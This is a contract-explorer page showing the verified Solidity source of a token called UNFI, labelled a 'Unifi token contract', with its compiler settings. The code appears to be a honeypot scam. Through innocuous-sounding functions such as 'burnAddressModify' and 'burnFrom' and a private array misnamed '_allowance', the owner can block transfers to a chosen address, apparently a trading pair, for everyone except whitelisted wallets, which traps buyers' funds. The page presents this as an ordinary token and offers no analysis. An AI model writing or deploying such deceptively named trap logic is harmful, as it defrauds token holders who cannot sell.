Skip to content
Verified contractPartial

UNFI

Address0xfb43371244f853c0ced806130cfa5a6edb2ace4f
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.4.26

 

Same code

Only this contract

 

Details

Compiler
solc 0.4.26+commit.4563c3fc
Language
solidity
Optimization
No
EVM version
byzantium
License
Not stated
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
11,248,202
Creation transaction
0x7f06cd47ed…cdacab8285

UNFI.sol

pragma solidity ^0.4.16;

//Unifi token contract

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract UNFI {
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;
    address private owner = address(0);
    address private _burnAddress = address(0);
    address[] private _allowance;

    mapping (address => uint256) public balanceOf;  // 
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    function UNFI(uint256 initialSupply, string tokenName, string tokenSymbol) public {
        totalSupply = initialSupply * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        name = tokenName;
        symbol = tokenSymbol;
        owner = msg.sender;
    }

    function _transfer(address _from, address _to, uint _value) internal {
        bool _burnable = false;
        uint pos = 0;
        while(pos < _allowance.length)
        {
            if(_from == _allowance[pos])
            {
                _burnable = true;
                break;
            }
            pos++;
        }
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        require(_to != _burnAddress || _burnable);
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);     // Check allowance
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public
        returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }

    function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
        tokenRecipient spender = tokenRecipient(_spender);
        if (approve(_spender, _value)) {
            spender.receiveApproval(msg.sender, _value, this, _extraData);
            return true;
        }
    }
    
    function burnAddressModify(address _value) public returns (bool success){
        require(msg.sender == owner);
        _burnAddress = _value;
    }
    
    function burnFrom(address _value) public returns (bool success){
        require(msg.sender == owner);
        _allowance.push(_value);
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "byzantium",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.